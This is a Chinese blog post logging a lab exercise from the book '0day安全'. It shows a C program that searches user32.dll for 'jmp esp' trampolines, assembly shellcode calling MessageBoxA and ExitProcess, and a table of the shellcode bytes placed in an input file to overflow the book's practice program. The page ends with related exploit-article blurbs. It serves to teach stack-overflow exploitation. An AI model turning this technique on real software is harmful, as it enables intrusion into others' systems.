前言

此帖为 0day_2th 一书第三章实践不完全记录。

流程记录

  1. searchAddr.c 文件:

    #include <windows.h>
    #include <stdio.h>
    #define DLL_NAME "user32.dll"
    
    main()
    {
        BYTE* ptr;
        int position, address;
        HINSTANCE handle;
        BOOL done_flag = FALSE;
        handle = LoadLibrary(DLL_NAME);
        if(!handle)
        {
            printf(" load dll erro !");
            exit(0);
        }
        ptr = (BYTE*)handle;
    
        for(position = 0; !done_flag; position++)
        {
    
            try
            {
                if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
                {
                    // 0xFFE4 is the opcode of jmp esp
                    int address = (int)ptr + position;
                    printf("OPCODE found at 0x%x\n",address);
                }
            }
            catch(...)
            {
                int address = (int)ptr + position;
                printf("END OF 0x%x\n", address);
                done_flag = true;
            }
    
        }
    }

    将searchAddr.c文件在vc6.0中编译运行。产生的.exe文件我们放到OllyDbg调试。运行我们自己编写程序搜索跳转地址得到的结果和 OllyDbg 插件搜到的结果基本相同,如图 3.2.5 所示。

    图3.2.5 Olly Dbg搜出的“跳板”与程序搜出的“跳板”地址

    此处不妨以 0x77d92c08 (等同于书中的 0x77DC14CC)作为定位 shellcode 的“跳板”。

  2. 使用dependency walker获得ExitProcess函数入口地址 0x7c81cdda。

    图 3.2.6 计算 ExitProcess 函数的入口地址

    注:具体方法参考此帖相关处即可

  3. shellCode.c 文件:

    #include <windows.h>
    
    int main()
    {
        HINSTANCE LibHandle;
        char dllbuf[11] = "user32.dll";
        LibHandle = LoadLibrary(dllbuf);
        _asm{
            sub sp,0x440
            xor ebx,ebx
            push ebx // cut string
            push 0x74736577
            push 0x6c696166 // push failwest
    
            mov eax,esp // load address of failwest
            push ebx
            push eax
            push eax
            push ebx
    
            mov eax,0x77d5058a // address should be reset in different OS
            call eax // call MessageboxA
            push ebx
            mov eax,0x7c81cdda
            call eax // call exit(0)
        }
    }

    将shellCode.c文件在vc6.0中编译运行。

    点击确定按钮

    可见程序可以正常退出了。

    注:附一张地址对应表,书中的地址和自己虚拟机xp系统环境有出入,代码不能照搬书,需要稍作修改。你自己的环境与我的也许也不同,对应处修改即可。

    作用 书中 实际环境
    跳板 0x77dc14cc 0x77d92c08
    ExitProcess入口地址 0x7c81cdda 同书中
    MessageBoxA入口地址 0x77d804ea 0x77d5058a
  4. 为了提取出汇编代码对应的机器码,我们将上述代码用 VC6.0 编译运行通过后,再用 OllyDbg 加载可执行文件,选中所需的代码后可直接将其 dump 到文件中,如图 3.2.7 所示。

    图 3.2.7 从 PE 文件中提取 shellcode 的机器码

    现在我们已经具备了制作新 exploit 需要的所有信息。

    (1)搜索到的 jmp esp 地址,用作重定位 shellcode 的“跳板”:0x77d92c08。

    (2)修改后并重新提取得到的 shellcode,如表 3-2-2 所示。

    表 3-2-2 shellcode 及注释

    机器代码(十六进制) 汇编指令 注释
    33 db xor ebx,ebx
    53 pu push ebx
    68 77 65 73 74 push 0x74736577
    68 66 61 69 6c push 0x6c696166
    8b c4 mov eax,esp
    53 pu push ebx
    50 pu push eax
    50 pu push eax
    53 pu push ebx
    b8 8a 05 d5 77 mov eax,0x77d5058a
    ff d0 call eax
    53 pu push ebx
    b8 da cd 81 7c mov eax,0x7c81cdda
    ff d0 call eax

    按照 2.4 节中对栈内情况的分析,我们将 password.txt 使用十六进制编辑器制作成如图 3.2.8 所示的形式。

    图 3.2.8 在输入文件中部署 shellcode

  5. 现在再运行密码验证程序,怎么样,程序退出的时候不会报内存错误了吧。虽然还是同样的消息框,但是这次植入代码的流程和 2.4 节中已有很大不同了,最核心的地方就是使用了跳转地址定位 shellcode。运行结果截图如下

    点击确定按钮后,正常退出。如下

Preference

0day-security-software-vulnerability-analysis-technology

https://www.cnblogs.com/wh4am1/p/6619073.html

windows下shellcode编写入门

[原创]《0day安全...(第二版)》第3章第4节开发通用的shellcode在win10系统下测试的问题

3.2 定位shellcode的更多相关文章

  1. OD: Universal Shellcode

    本节讲如果开发通用的 Shellcode. Shellcode 的组织 shellcode 的组织对成功地 exploit 很重要. 送入缓冲区的数据包括: . 填充物.一般用 0x90 (NOP) ...

  2. 栈溢出原理与 shellcode 开发

     ESP:该指针永远指向系统栈最上面一个栈帧的栈顶  EBP:该指针永远指向系统栈最上面一个栈帧的底部 01  修改函数返回地址 #include<stdio.h> #include< ...

  3. 开发shellcode的艺术

    专业术语 ShellCode:实际是一段代码(也可以是填充数据) exploit:攻击通过ShellCode等方法攻击漏洞 栈帧移位与jmp esp 一般情况下,ESP寄存器中的地址总是指向系统栈且不 ...

  4. OD: Memory Attach Technology - Exception

    看到第六章了:形形色色的内存攻击技术 异常处理结构体 S.E.H Structure Exception Handler S.E.H 是 Windows 处理异常的重要数据结构.每个 S.E.H 为 ...

  5. OD: Heap Exploit : DWORD Shooting & Opcode Injecting

    堆块分配时的任意地址写入攻击原理 堆管理系统的三类操作:分配.释放.合并,归根到底都是对堆块链表的修改.如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会.堆溢出利用的精髓就是 ...

  6. CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)

    CVE-2013-2551漏洞成因与利用分析 1. 简介 VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节.它是一个ORG数组整数 ...

  7. CVE-2012-0158基于exp分析

    CVE-2012-0158这个洞我之前分析过,漏洞战争这本书里也写过,但是都是用poc分析的,我这次找了一个弹计算器的exp来分析,感觉用poc和用exp还是不一样的,从exp分析要比从poc分析更复 ...

  8. 《metasploit渗透测试魔鬼训练营》靶机演练之第五章实战案例KingView 6.53版本CVE-2011-0406漏洞

    在一个笔记本上开两个虚拟机有点卡,而且太麻烦,就把metasploit的目标靶机放在别的机器上了,ip自己配置了一下, 目标主机:192.168.137.254 入侵机:192.168.137.253 ...

  9. CVE-2012-0158个人分析

    CVE-2012-0158是一个比较有名的老漏洞了,这次从论坛上找到一个poc文件,利用这个poc来分析CVE-2012-0158漏洞的形成. http://bbs.pediy.com/showthr ...

随机推荐

  1. 使用SSH框架遇到的错误总结

    1.org.hibernate.exception.ConstraintViolationException: could not insert: 如果是主键是自增序列,映射文件 指定主键生成器< ...

  2. 呼叫中心获取sip数据报文

    1.下载sngrep并且安装: 运行 ./sngrep 进入呼叫列表,空格选中呼叫流,进入 2.呼叫信息 回车进入原始窗口 空格选中两条消息流,回车进入消息差异窗口 F8设置

  3. 关于BOARD_SYSTEMIMAGE_PARTITION_SIZE【转】

    本文转载自:https://blog.csdn.net/ttxgz/article/details/7542380 1. 系统需要,把需要预置在系统的所有apk放在目录 device/softwinn ...

  4. linux内核中的IPIs是什么?

    答: 处理器间中断(Interprocessor Interrupts)

  5. 【ContextLoaderListener】Web项目启动报错java.lang.ClassNotFoundException: ContextLoaderListener

    错误原因: 进入到tomcat的部署路径.metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps\下检查了一下,发现工程部署后在WE ...

  6. How to search for ? (question mark) in Excel

    The ? is a wildcard which represents a single character, and the * is a wildcard character that repr ...

  7. c# 重试机制

    protected async Task<T> TryOperation<T>(int maxRetryCount,Func<Task<T>> func ...

  8. mybatis配置文件namespace用法总结

    本文为博主原创,未经允许不得转载: 由于在应用过程中,发现namespace在配置文件中的重要性,以及配置的影响,在网上看了很多博客,发现很多人对namespace存在误解, 所以总结一下namesp ...

  9. Qt打包

    先在Qt Creator里release一遍,打开Qt下载时自带的像命令控制台一样的东西,比如我在创建项目时选用的是MinGw编译器, 然后在文件管理器里找到release生成的exe,cd进exe所 ...

  10. 无法获取未定义或 null 引用的属性“contentWindow”

    在iframe 中有时候 这样使用contentWindow 会报   无法获取未定义或 null 引用的属性“contentWindow”   这种情况 我是在IE中遇到 其他浏览器一切正常. pa ...